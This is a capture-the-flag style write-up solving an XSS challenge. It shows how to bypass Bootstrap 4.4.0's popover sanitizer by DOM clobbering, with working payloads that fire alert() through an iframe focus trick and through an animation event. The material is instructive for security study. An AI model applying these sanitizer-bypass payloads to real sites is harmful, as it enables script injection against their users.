Solution is ...
<button data-toggle="popover" data-html="true" data-content="<form class='spinner-grow' onanimationstart=alert(1337)><input id=attributes>">yo!</button>
First off, notice that
Bootstrap(4.4.0) is used instead of the latest version, which means it's something specific to it. There's a button, which is a popover showing a bunch of hints for the challenge. From the code below, you can see that all elements with
data-toggle="popover"
becomes a Bootstrap Popover.
/* Popovers! */
$(function () {
$('[data-toggle="popover"]').popover('show')
})
Here it calls with
'show'
as it's argument, which means the popovers are automatically shown to the user. Popovers can have their content set via HTML, which should be interesting for us since it takes the HTML as a string like you see down below.
<button data-toggle="popover" data-html="true" data-content="<h1>I'm a header</h1>">yo!</button>
Where
<h1>I'm a header</h1>
becomes the header element inside the popover. But the HTML is sanitized by
custom sanitizer. The sanitizer has a
Default Whitelist, but the challenge adds a new element into the whitelist, see below.
let whiteList = $.fn.tooltip.Constructor.Default.whiteList
whiteList.form = []
Empty array indicates, no extra attributes execpt what bootstrap allows.
['class', 'dir', 'id', 'lang', 'role', ARIA_ATTRIBUTE_PATTERN]
Now, one of the hints was to look "deeper", which means you gotta look into the
sanitizer and see if there's a way out. If you look closely at the source, you'll find some places where you can do some
DOM Clobbering. One such places is
here.
const attributeList = [].concat(...el.attributes)
If the element is
form
, then we can clobber the properties of that element using some of it's child elements. In this case, we want to clobber
attributes
, because if we fool the sanitizer by tricking that there are no attributes on the element, then we can do a lot of damage. So we can do something like the following.
<form>
<input id=attributes>
Now when the sanitizer tries to get all the attributes of the
form element, it gets the
HTMLInputElement instead of the actual attributes on the
form element. Further, when it does a
concat
on the
HTMLInputElement, it returns a empty array, which means we've successfully fooled the sanitizer into thinking that there are no attributes on the form.
[].concat(HTMLInputElement) // returns []
Now let's craft this,
<button data-toggle="popover" data-html="true" data-content="<form onmouseover=alert(0)>xxx<input id=attributes>">yo!</button>
This is fine, we have an XSS, but it requires User Interaction, and the challenge clearly states you shouldn't rely on it. There are two ways to go about this.
First Way
We can use
onfocus
event handler on
form
element, but it won't be autofocused, so to do this we can frame the challenge webpage inside an
<iframe>
and then wait for a fews seconds so that the page is loaded and then update the hash. This will focus on the iframe, but also doesn't reload the whole iframe, which will trigger the XSS.
<!-- Frame the challenge -->
<iframe name=x src="https://sandbox.pwnfunction.com/challenges/ded.html?code=<button data-toggle=popover data-html=true data-content='<form tabindex=1 onfocus=alert(1337) id=x><input id=attributes>xxx</input></form>'></button>"></iframe>
<!-- wait & update -->
<script>setTimeout(function(){x.location="https://sandbox.pwnfunction.com/challenges/ded.html?code=<button data-toggle=popover data-html=true data-content='<form tabindex=1 onfocus=alert(1337) id=x><input id=attributes>xxx</input></form>'>xxx</button>#x"},3000)</script>
Second Way
We can use
onanimationstart
on the
form
element, but to do this we should have an animation keyframe, so we need the
style
tag to add keyframes, but guess what, style tags aren't in the whitelist, so what do we do? We can simply use one of the available animations from bootstrap, duh, ez.
<button data-toggle="popover" data-html="true" data-content="<form class='spinner-grow' onanimationstart=alert(1337)><input id=attributes>">yo!</button>
Here, I've used
spinner-grow
from
here.